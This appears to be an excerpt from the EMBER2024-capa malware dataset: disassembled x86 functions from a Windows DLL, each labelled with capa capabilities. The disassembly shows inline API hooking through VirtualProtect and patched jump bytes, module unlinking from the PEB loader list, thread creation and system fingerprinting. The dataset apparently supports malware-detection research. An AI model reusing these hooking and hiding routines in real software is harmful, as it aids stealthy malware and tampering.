joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10018c10
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1007feb1
mov eax, dword fs:[0]
push eax
sub esp, 0x28
mov eax, dword [0x100b300c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x34], edx
mov ebx, ecx
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x30], eax
mov eax, dword [0x100c0a7c]
test eax, eax
jne 0x10018dad
mov eax, dword fs:[0x2c]
mov ecx, dword [0x100b5244]
movaps xmm0, xmmword [0x100a3ff0]
movups xmmword [ebp - 0x24], xmm0
mov byte [ebp - 0x14], 0x89
mov esi, dword [eax + ecx*4]
mov eax, dword [esi + 0x79c]
test al, 1
jne 0x10018ccc
or eax, 1
mov dword [esi + 0x79c], eax
mov dword [ebp - 4], 0
xorps xmm0, xmm0
movlpd qword [ebp - 0x2c], xmm0
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
mov byte [esi + 0xc55], 1
mov al, byte [ebp + ecx - 0x24]
mov byte [ecx + esi + 0xc44], al
add ecx, 1
adc edx, 0
jne 0x10018cb8
cmp ecx, 0x11
jb 0x10018ca0
push 0x10090750
call fcn.1007d027
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea edi, [esi + 0xc44]
mov ecx, edi
call fcn.100765b0
mov eax, dword [esi + 0x4a0]
mov dword [ebp - 0x20], 0xf0d1c0de
mov dword [ebp - 0x1c], 0x2f33961f
mov dword [ebp - 0x18], 0xb9f3e5ed
test al, 1
jne 0x10018d4c
or eax, 1
mov dword [esi + 0x4a0], eax
mov dword [ebp - 4], 1
xorps xmm0, xmm0
movlpd qword [ebp - 0x2c], xmm0
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
mov byte [esi + 0x3c5c], 1
nop dword [eax]
mov al, byte [ebp + ecx - 0x20]
mov byte [ecx + esi + 0x3c50], al
add ecx, 1
adc edx, 0
jne 0x10018d38
cmp ecx, 0xc
jb 0x10018d20
push 0x100907a0
call fcn.1007d027
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea esi, [esi + 0x3c50]
mov ecx, esi
call fcn.10076610
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
cmp edi, 0x1000
jbe 0x10018da6
push 7
call fcn.1007cf7e
add esp, 4
mov esi, eax
lea eax, [ebp - 0x28]
push eax
push 0x40
push 7
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov cx, word [edi]
lea eax, [esi + 2]
sub edi, eax
mov word [esi], cx
sub edi, 3
mov byte [eax], 0xe9
mov dword [eax + 1], edi
add eax, 0xfffffffe
jmp 0x10018da8
xor eax, eax
mov dword [0x100c0a7c], eax
push dword [ebp - 0x30]
mov dword [0x100b9d8c], eax
push 0x64
push dword [ebp - 0x34]
push ebx
call eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1007c649
mov esp, ebp
pop ebp
ret
Function at 0x10018de0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1007ff41
mov eax, dword fs:[0]
push eax
sub esp, 0x20
mov eax, dword [0x100b300c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov eax, dword [0x100c0aec]
test eax, eax
jne 0x10018f7d
mov eax, dword fs:[0x2c]
mov ecx, dword [0x100b5244]
movaps xmm0, xmmword [0x100a3cf0]
movups xmmword [ebp - 0x24], xmm0
mov dword [ebp - 0x14], 0xf3bc59b7
mov esi, dword [eax + ecx*4]
mov eax, dword [esi + 0x4adc]
test al, 1
jne 0x10018e9c
or eax, 1
mov dword [esi + 0x4adc], eax
mov dword [ebp - 4], 0
xorps xmm0, xmm0
movlpd qword [ebp - 0x2c], xmm0
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
mov byte [esi + 0xc30], 1
nop word [eax + eax]
mov al, byte [ebp + ecx - 0x24]
mov byte [ecx + esi + 0xc1c], al
add ecx, 1
adc edx, 0
jne 0x10018e88
cmp ecx, 0x14
jb 0x10018e70
push 0x100907f0
call fcn.1007d027
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea edi, [esi + 0xc1c]
mov ecx, edi
call fcn.100764f0
mov eax, dword [esi + 0x391c]
mov dword [ebp - 0x1c], 0xba977c84
mov dword [ebp - 0x18], 0xb7ddc37
mov dword [ebp - 0x14], 0xf3b559b7
test al, 1
jne 0x10018f1c
or eax, 1
mov dword [esi + 0x391c], eax
mov dword [ebp - 4], 1
xorps xmm0, xmm0
movlpd qword [ebp - 0x2c], xmm0
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
mov byte [esi + 0x4744], 1
nop dword [eax]
mov al, byte [ebp + ecx - 0x1c]
mov byte [ecx + esi + 0x4738], al
add ecx, 1
adc edx, 0
jne 0x10018f08
cmp ecx, 0xc
jb 0x10018ef0
push 0x10090840
call fcn.1007d027
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea esi, [esi + 0x4738]
mov ecx, esi
call fcn.10076550
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
cmp edi, 0x1000
jbe 0x10018f76
push 7
call fcn.1007cf7e
add esp, 4
mov esi, eax
lea eax, [ebp - 0x28]
push eax
push 0x40
push 7
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov cx, word [edi]
lea eax, [esi + 2]
sub edi, eax
mov word [esi], cx
sub edi, 3
mov byte [eax], 0xe9
mov dword [eax + 1], edi
add eax, 0xfffffffe
jmp 0x10018f78
xor eax, eax
mov dword [0x100c0aec], eax
push ebx
mov dword [0x100bb7cc], eax
call eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1007c649
mov esp, ebp
pop ebp
ret
Function at 0x10018fb0
Capabilities:
Enumerate threads

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
mov eax, dword [0x100b300c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push edi
push 0
mov edi, edx
mov dword [ebp - 0x30], ecx
push 4
mov dword [ebp - 0x2c], edi
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov ebx, eax
test ebx, ebx
jne 0x10018fec
pop edi
xor al, al
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1007c649
mov esp, ebp
pop ebp
ret
push esi
lea eax, [ebp - 0x28]
mov dword [ebp - 0x28], 0x1c
xorps xmm0, xmm0
push eax
push ebx
movlpd qword [ebp - 0x24], xmm0
movlpd qword [ebp - 0x1c], xmm0
movlpd qword [ebp - 0x14], xmm0
call dword [sym.imp.KERNEL32.dll_Thread32First]
mov esi, eax
test esi, esi
je 0x100190f4
nop dword [eax + eax]
cmp dword [ebp - 0x1c], edi
jne 0x1001910e
push dword [ebp - 0x20]
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov edi, eax
mov dword [ebp - 0x34], edi
test edi, edi
je 0x100190e9
push str.NtQueryInformationThread
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x100190b0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push 0
push 0
push 0x40
lea ecx, [ebp - 0xc]
push ecx
push eax
push edi
push eax
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
test eax, eax
jne 0x1001908c
push 5
call dword [sym.imp.KERNEL32.dll_SetLastError]
xor eax, eax
jmp 0x100190b0
push 0
push 4
lea eax, [ebp - 8]
push eax
push 9
push dword [ebp - 0xc]
call esi
push dword [ebp - 0xc]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 8]
xor ecx, ecx
test esi, esi
cmovne eax, ecx
cmp eax, dword [ebp - 0x30]
jne 0x100190dc
mov eax, dword [0x100bef50]
cmp eax, dword [0x100bef54]
je 0x100190cd
mov dword [eax], edi
add dword [0x100bef50], 4
jmp 0x100190dc
lea ecx, [ebp - 0x34]
push ecx
push eax
mov ecx, 0x100bef4c
call fcn.1007b010
lea eax, [ebp - 0x28]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Thread32Next]
mov esi, eax
mov edi, dword [ebp - 0x2c]
test esi, esi
jne 0x10019020
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov al, 1
pop esi
pop edi
xor ecx, ebp
pop ebx
call fcn.1007c649
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x28]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Thread32Next]
mov esi, eax
jmp 0x100190ec
Function at 0x100246e0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x100b300c]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [0x100bde18], 0
push esi
push edi
jle 0x1002474a
mov ecx, dword [0x100ba5e8]
mov eax, dword [0x100bed18]
add eax, 0x1c
push eax
mov edx, dword [ecx]
call dword [edx + 4]
cmp dword [eax], 0
je 0x1002474a
mov ecx, dword [0x100ba5e8]
mov eax, dword [0x100bed18]
add eax, 0x15c
push eax
mov edx, dword [ecx]
call dword [edx + 4]
mov edi, eax
cmp edi, 0x1000
jbe 0x1002478a
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 8]
push eax
push 0x40
push 1
push edi
call esi
mov byte [edi], 0xcc
jmp 0x1002477e
mov ecx, dword [0x100ba5e8]
mov eax, dword [0x100bed18]
add eax, 0x15c
push eax
mov edx, dword [ecx]
call dword [edx + 4]
mov edi, eax
cmp edi, 0x1000
jbe 0x1002478a
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 8]
push eax
push 0x40
push 1
push edi
call esi
mov byte [edi], 0x68
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
push 1
push edi
call esi
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.1007c649
mov esp, ebp
pop ebp
ret
Function at 0x100252b0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x100b300c]
xor eax, ebp
mov dword [ebp - 4], eax
mov ecx, dword [0x100ba5e8]
mov eax, dword [0x100bed18]
push esi
push edi
mov edx, dword [ecx]
add eax, 0x1c
push eax
call dword [edx + 4]
mov ecx, dword [0x100ba5e8]
cmp dword [eax], 0
mov edx, dword [ecx]
mov eax, dword [0x100bed18]
je 0x1002531a
add eax, 0x168
cmp dword [0x100bb254], 0
push eax
je 0x10025320
call dword [edx + 4]
mov edi, eax
cmp edi, 0x1000
jbe 0x1002534d
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 8]
push eax
push 0x40
push 1
push edi
call esi
mov byte [edi], 0xcc
jmp 0x10025341
add eax, 0x168
push eax
call dword [edx + 4]
mov edi, eax
cmp edi, 0x1000
jbe 0x1002534d
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 8]
push eax
push 0x40
push 1
push edi
call esi
mov byte [edi], 0x6a
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
push 1
push edi
call esi
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.1007c649
mov esp, ebp
pop ebp
ret

Function at 0x10025a30
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
cmp dword [0x100be6c4], 0
jne 0x10025a93
mov edx, 0x54
xor eax, eax
mov cl, byte [eax + 0x100a2dc4]
xor cl, dl
inc edx
mov byte [ebp + eax - 0x18], cl
and edx, 0x800000ff
jns 0x10025a63
dec edx
or edx, 0xffffff00
inc edx
inc eax
cmp eax, 0x15
jl 0x10025a46
lea eax, [ebp - 0x18]
mov byte [ebp - 3], 0
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
add eax, 0xcdda
mov dword [0x100be6c4], 1
mov dword [0x100bbdc4], eax
add eax, 0x18
mov dword [0x100bacec], eax
mov esp, ebp
pop ebp
ret
Function at 0x1002bd20
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x100b300c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
call fcn.1002bc30
mov eax, dword [0x100babec]
mov ebx, fcn.1000b390
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea edi, [eax + 0x10]
cmp edi, 0x1000
jbe 0x1002bd7d
cmp ebx, 0x1000
jbe 0x1002bd7d
lea eax, [ebp - 8]
push eax
push 0x40
push 4
push edi
call esi
lea eax, [ebp - 0xc]
mov dword [edi], fcn.1000b390
push eax
push dword [ebp - 8]
push 4
push edi
call esi
mov eax, dword [0x100babec]
lea edi, [eax + 0x40]
cmp edi, 0x1000
jbe 0x1002bdb2
cmp ebx, 0x1000
jbe 0x1002bdb2
lea eax, [ebp - 8]
push eax
push 0x40
push 4
push edi
call esi
lea eax, [ebp - 0xc]
mov dword [edi], fcn.1000b390
push eax
push dword [ebp - 8]
push 4
push edi
call esi
mov eax, dword [0x100babec]
lea edi, [eax + 0x44]
cmp edi, 0x1000
jbe 0x1002bde7
cmp ebx, 0x1000
jbe 0x1002bde7
lea eax, [ebp - 8]
push eax
push 0x40
push 4
push edi
call esi
lea eax, [ebp - 0xc]
mov dword [edi], fcn.1000b390
push eax
push dword [ebp - 8]
push 4
push edi
call esi
mov eax, dword [0x100babec]
lea edi, [eax + 0x48]
cmp edi, 0x1000
jbe 0x1002be1c
cmp ebx, 0x1000
jbe 0x1002be1c
lea eax, [ebp - 8]
push eax
push 0x40
push 4
push edi
call esi
lea eax, [ebp - 0xc]
mov dword [edi], fcn.1000b390
push eax
push dword [ebp - 8]
push 4
push edi
call esi
mov eax, dword [0x100babec]
lea edi, [eax + 0x4c]
cmp edi, 0x1000
jbe 0x1002be51
cmp ebx, 0x1000
jbe 0x1002be51
lea eax, [ebp - 8]
push eax
push 0x40
push 4
push edi
call esi
lea eax, [ebp - 0xc]
mov dword [edi], fcn.1000b390
push eax
push dword [ebp - 8]
push 4
push edi
call esi
mov eax, dword [0x100babec]
lea edi, [eax + 0x50]
cmp edi, 0x1000
jbe 0x1002be86
cmp ebx, 0x1000
jbe 0x1002be86
lea eax, [ebp - 8]
push eax
push 0x40
push 4
push edi
call esi
lea eax, [ebp - 0xc]
mov dword [edi], fcn.1000b390
push eax
push dword [ebp - 8]
push 4
push edi
call esi
mov eax, dword [0x100babec]
lea edi, [eax + 0x54]
cmp edi, 0x1000
jbe 0x1002bebb
cmp ebx, 0x1000
jbe 0x1002bebb
lea eax, [ebp - 8]
push eax
push 0x40
push 4
push edi
call esi
lea eax, [ebp - 0xc]
mov dword [edi], fcn.1000b390
push eax
push dword [ebp - 8]
push 4
push edi
call esi
mov eax, dword [0x100babec]
lea edi, [eax + 0x58]
cmp edi, 0x1000
jbe 0x1002bef0
cmp ebx, 0x1000
jbe 0x1002bef0
lea eax, [ebp - 8]
push eax
push 0x40
push 4
push edi
call esi
lea eax, [ebp - 0xc]
mov dword [edi], fcn.1000b390
push eax
push dword [ebp - 8]
push 4
push edi
call esi
mov eax, dword [0x100babec]
cmp dword [0x100baa10], 0
jne 0x1002bf39
lea edi, [eax + 0x34]
cmp edi, 0x1000
jbe 0x1002bf31
mov eax, 0x1002a070
cmp eax, 0x1000
jbe 0x1002bf31
mov ebx, dword [edi]
lea eax, [ebp - 8]
push eax
push 0x40
push 4
push edi
call esi
lea eax, [ebp - 0xc]
mov dword [edi], 0x1002a070
push eax
push dword [ebp - 8]
push 4
push edi
call esi
jmp 0x1002bf33
xor ebx, ebx
mov dword [0x100baa10], ebx
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1007c649
mov esp, ebp
pop ebp
ret
Function at 0x1002d120
Capabilities:
Get hostname

Disassembly:
push 0x100b3468
push 0x100bb758
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
call fcn.1002d030
cmp eax, 1
jne 0x1002d14c
push str.Win_XP
push 0x100b6508
call fcn.10008c40
add esp, 8
call fcn.1002d030
cmp eax, 2
jne 0x1002d168
push str.Win_Vista
push 0x100b6508
call fcn.10008c40
add esp, 8
call fcn.1002d030
cmp eax, 3
jne 0x1002d184
push str.Win_7
push 0x100b6508
call fcn.10008c40
add esp, 8
call fcn.1002d030
cmp eax, 4
jne 0x1002d1a0
push str.Win_8
push 0x100b6508
call fcn.10008c40
add esp, 8
call fcn.1002d030
cmp eax, 5
jne 0x1002d1bc
push str.Wi_10
push 0x100b6508
call fcn.10008c40
add esp, 8
ret
Function at 0x10030330
Capabilities:
Get disk information

Disassembly:
push esi
push 0x64
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
add esp, 4
mov esi, eax
push 0xff
push 0x100baa60
push 0x100ba5c4
push 0x100b6284
push 0x100b9f48
push 0xff
push 0x100be968
push 0x100a2ffc
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
mov ecx, dword [0x100b9f48]
mov eax, ecx
shl eax, 5
add eax, ecx
push eax
imul eax, ecx, 0x19
push eax
push str._2x_2x
push esi
call fcn.10008c40
add esp, 0x10
mov eax, esi
pop esi
ret
Function at 0x10065530
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x100b300c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
push esi
push edi
mov esi, edx
mov edi, ecx
nop dword [eax]
cmp byte [edi], 0x6a
jne 0x100655ce
cmp esi, 0x1000
jbe 0x100655aa
cmp edi, 0x1000
jbe 0x100655aa
lea eax, [ebp - 8]
push eax
push 0x80
push 7
push esi
call ebx
push 7
push edi
push esi
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 8]
push 7
push esi
call ebx
mov edx, dword [ebp + 8]
push ecx
lea ecx, [esi + 7]
lea edx, [edx + 7]
call fcn.10017f20
add esp, 4
lea eax, [ebp - 0x14]
push eax
push 0x40
push 5
jmp 0x1006563a
mov edx, dword [ebp + 8]
push ecx
lea ecx, [esi + 7]
lea edx, [edx + 7]
call fcn.10017f20
add esp, 4
cmp esi, 0x1000
jbe 0x1006563d
lea eax, [ebp - 0x14]
push eax
push 0x40
push 5
jmp 0x1006563a
cmp esi, 0x1000
jbe 0x10065618
cmp edi, 0x1000
jbe 0x10065618
lea eax, [ebp - 0xc]
push eax
push 0x80
push 5
push esi
call ebx
push 5
push edi
push esi
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
lea eax, [ebp - 0x18]
push eax
push dword [ebp - 0xc]
push 5
push esi
call ebx
mov edx, dword [ebp + 8]
push ecx
lea ecx, [esi + 5]
lea edx, [edx + 5]
call fcn.10017f20
add esp, 4
jmp 0x10065632
mov edx, dword [ebp + 8]
push ecx
lea ecx, [esi + 5]
lea edx, [edx + 5]
call fcn.10017f20
add esp, 4
cmp esi, 0x1000
jbe 0x1006563d
lea eax, [ebp - 0x1c]
push eax
push 0x40
push 7
push esi
call ebx
mov al, byte [edi]
cmp al, 0x8b
je 0x10065654
cmp al, 0x6a
je 0x10065654
push 5
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10065550
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1007c649
mov esp, ebp
pop ebp
ret
Function at 0x10066760
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x100b300c]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [ebp + 0xc], 1
push edi
mov edi, dword [ebp + 8]
jne 0x10066862
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov ecx, dword [eax + 0x18]
test ecx, ecx
je 0x100667e7
cmp ecx, edi
jne 0x100667de
mov edx, dword [eax + 4]
test edx, edx
je 0x100667ac
mov ecx, dword [eax]
mov dword [edx], ecx
mov edx, dword [eax + 4]
test edx, edx
je 0x100667ac
mov ecx, dword [eax]
mov dword [ecx + 4], edx
mov edx, dword [eax + 0x14]
test edx, edx
je 0x100667b8
mov ecx, dword [eax + 0x10]
mov dword [edx], ecx
mov edx, dword [eax + 0x10]
test edx, edx
je 0x100667c5
mov ecx, dword [eax + 0x14]
mov dword [edx + 4], ecx
mov edx, dword [eax + 8]
test edx, edx
je 0x100667de
mov ecx, dword [eax + 0xc]
mov dword [ecx], edx
mov edx, dword [eax + 8]
test edx, edx
je 0x100667de
mov ecx, dword [eax + 0xc]
mov dword [edx + 4], ecx
mov eax, dword [eax]
mov ecx, dword [eax + 0x18]
test ecx, ecx
jne 0x10066791
push esi
push 0x1c
lea eax, [ebp - 0x20]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 0xc]
push eax
push 0x40
push dword [ebp - 0x14]
push dword [ebp - 0x20]
call esi
push 0xc8
push 0
push edi
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push 0
push dword [ebp - 0xc]
push dword [ebp - 0x14]
push dword [ebp - 0x20]
call esi
push dword [ebp - 0x14]
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x10049f80
push 0
push 0
call esi
push 0
push 0
push 0
push 0x10065ab0
push 0
push 0
call esi
pop esi
mov ecx, dword [ebp - 4]
mov eax, 1
xor ecx, ebp
pop edi
call fcn.1007c649
mov esp, ebp
pop ebp
ret 0xc
Function at 0x10066df0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x14
push ebx
mov ebx, ecx
push esi
push edi
cmp dword [ebx + 0x38], 0
je 0x10066e1c
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const___long_long___int64__]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ebx + 0x20]
mov esi, dword [ebp + 0xc]
mov edi, dword [ebp + 0x10]
mov dword [esp + 0x18], esi
mov eax, dword [eax]
mov dword [esp + 0x1c], edi
mov dword [esp + 0x14], eax
test eax, eax
je 0x10066e3e
mov eax, dword [ebx + 0x30]
mov eax, dword [eax]
jmp 0x10066e40
xor eax, eax
cdq
mov dword [esp + 0xc], eax
mov ecx, edx
mov dword [esp + 0x10], ecx
test edi, edi
jl 0x10066ec5
jg 0x10066e55
test esi, esi
je 0x10066ec5
test ecx, ecx
jl 0x10066ea8
jg 0x10066e5f
test eax, eax
je 0x10066ea8
cmp edi, ecx
jg 0x10066e73
jl 0x10066e69
cmp esi, eax
jae 0x10066e73
mov eax, esi
mov dword [esp + 0xc], esi
mov dword [esp + 0x10], edi
push eax
push dword [ebp + 8]
push dword [esp + 0x1c]
call sub.VCRUNTIME140.dll_memcpy
mov ecx, dword [esp + 0x18]
add esp, 0xc
mov eax, dword [ebx + 0x30]
sub esi, ecx
mov edx, dword [ebp + 8]
sbb edi, dword [esp + 0x10]
add edx, ecx
sub dword [eax], ecx
mov eax, dword [ebx + 0x20]
add dword [eax], ecx
test edi, edi
jl 0x10066ec5
jg 0x10066eab
test esi, esi
je 0x10066ec5
jmp 0x10066eab
mov edx, dword [ebp + 8]
mov eax, dword [ebx + 0x4c]
test eax, eax
je 0x10066ec5
push eax
push esi
push 1
push edx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
sub esi, eax
sbb edi, 0
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
sub eax, esi
sbb edx, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x10066ee0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, ecx
mov ecx, dword [ebp + 8]
mov dword [ebp - 8], ecx
push esi
mov esi, dword [ebp + 0xc]
test eax, eax
jg 0x10066f0c
jl 0x10066f00
test esi, esi
jne 0x10066f0c
pop esi
xor eax, eax
xor edx, edx
pop ebx
mov esp, ebp
pop ebp
ret 0xc
cmp dword [ebx + 0x38], 0
je 0x10066f25
push eax
push esi
push ecx
mov ecx, ebx
call dword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char___long_long___int64__]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ebx + 0x1c]
push edi
mov edi, esi
mov dword [ebp - 4], esi
mov edx, dword [eax]
test edx, edx
je 0x10066f65
mov eax, dword [ebx + 0x2c]
mov eax, dword [eax]
test eax, eax
je 0x10066f65
mov edi, dword [ebp + 0xc]
cmp eax, edi
cmovb esi, eax
push esi
push edx
push ecx
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [ebx + 0x2c]
sub edi, esi
add dword [ebp - 8], esi
add esp, 0xc
mov dword [ebp - 4], edi
sub dword [eax], esi
mov eax, dword [ebx + 0x1c]
add dword [eax], esi
mov esi, dword [ebp + 0xc]
cmp dword [ebx + 0x4c], 0
je 0x1006701c
mov ecx, dword [ebx + 0xc]
lea eax, [ebx + 0x3c]
cmp dword [ecx], eax
jne 0x10066f90
mov eax, dword [ebx + 0xc]
mov edx, dword [ebx + 0x54]
mov ecx, dword [ebx + 0x50]
sub edx, ecx
mov dword [eax], ecx
mov eax, dword [ebx + 0x1c]
mov dword [eax], ecx
mov eax, dword [ebx + 0x2c]
mov dword [eax], edx
mov eax, dword [ebp - 4]
mov edx, eax
mov ecx, dword [ebp - 8]
cmp eax, 0xfff
mov eax, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov dword [ebp - 4], edx
jbe 0x10066fdf
nop word [eax + eax]
push dword [ebx + 0x4c]
push 0xfff
push 1
push ecx
call eax
mov ecx, dword [ebp - 8]
sub edi, eax
add ecx, eax
mov dword [ebp - 4], edi
add esp, 0x10
mov dword [ebp - 8], ecx
mov edx, edi
cmp eax, 0xfff
jne 0x10067009
cmp edi, eax
mov eax, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
ja 0x10066fb0
cmp dword [ebp - 4], 0
jbe 0x1006701f
push dword [ebx + 0x4c]
push edi
push 1
push ecx
call eax
mov edx, dword [ebp - 4]
add esp, 0x10
sub edx, eax
sub esi, edx
mov edx, dword [ebp + 0x10]
mov eax, esi
pop edi
pop esi
sbb edx, 0
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov edx, dword [ebp + 0x10]
sub esi, edi
pop edi
mov eax, esi
sbb edx, 0
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov edx, dword [ebp - 4]
sub esi, edx
mov edx, dword [ebp + 0x10]
pop edi
mov eax, esi
sbb edx, 0
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc